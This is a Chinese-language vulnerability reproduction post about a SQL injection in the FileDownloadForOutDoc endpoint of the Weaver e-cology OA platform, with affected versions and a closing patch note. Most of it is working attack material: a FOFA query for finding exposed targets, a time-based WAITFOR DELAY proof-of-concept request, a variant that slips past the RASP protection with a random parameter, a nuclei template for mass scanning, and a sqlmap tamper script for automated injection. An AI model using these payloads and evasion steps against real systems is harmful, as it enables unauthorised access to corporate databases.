免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
更多复现文章可关注:网安小白成长日记
壹、漏洞描述
泛微协同管理应用平台(e-cology)是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。
泛微e-cology FileDownloadForOutDoc 未对用户的输入进行有效的过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。
影响范围:
部分e-cology 8且补丁版本<10.58.0
部分e-cology 9且补丁版本<10.58.0
贰、漏洞利用
01漏洞点
/weaver/weaver.file.FileDownloadForOutDoc
02利用方式
1、FOFA搜索
app="泛微-协同办公OA"
2、POC
POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
fileid=3+WAITFOR+DELAY+'0:0:5'&isFromOutImg=1
3、注意事项
由于泛微OA启用了RASP,同一个请求执行两次会被拦截,所以需要在请求包中添加随机参数。
RASP是Runtime Application Self-Protection(运行时应用自我保护)的缩写,是一种用于保护应用程序免受攻击的安全技术。它是在应用程序运行时进行安全检测和保护的一种方法,可以在应用程序本身内部或与应用程序紧密集成的组件中实现。
POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
fileid={random}+WAITFOR+DELAY+'0:0:5'&isFromOutImg=1
4、nuclei模板
id: ecology-oa-filedownloadforoutdoc-sqli
info:
name: EcologyOA filedownloadforoutdoc - SQL injection
author: unknown
severity: critical
description: EcologyOA filedownloadforoutdoc interface has SQL injection
tags: ecology-oa,sqli
requests:
- raw:
- |
POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
fileid=3+WAITFOR DELAY+'0:0:8'&isFromOutImg=1
matchers:
- type: dsl
dsl:
- 'duration>=8'
5、tamper脚本进行注入
import random
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
def tamper(payload, **kwargs):
res = ""
ran = random.randint(1,2**20)
res = str(ran)+payload
return res
叁、漏洞修复
目前官方已发布安全补丁,建议受影响用户尽快将补丁版本升级至10.58及以上。
https://www.weaver.com.cn/cs/securityDownload.asp#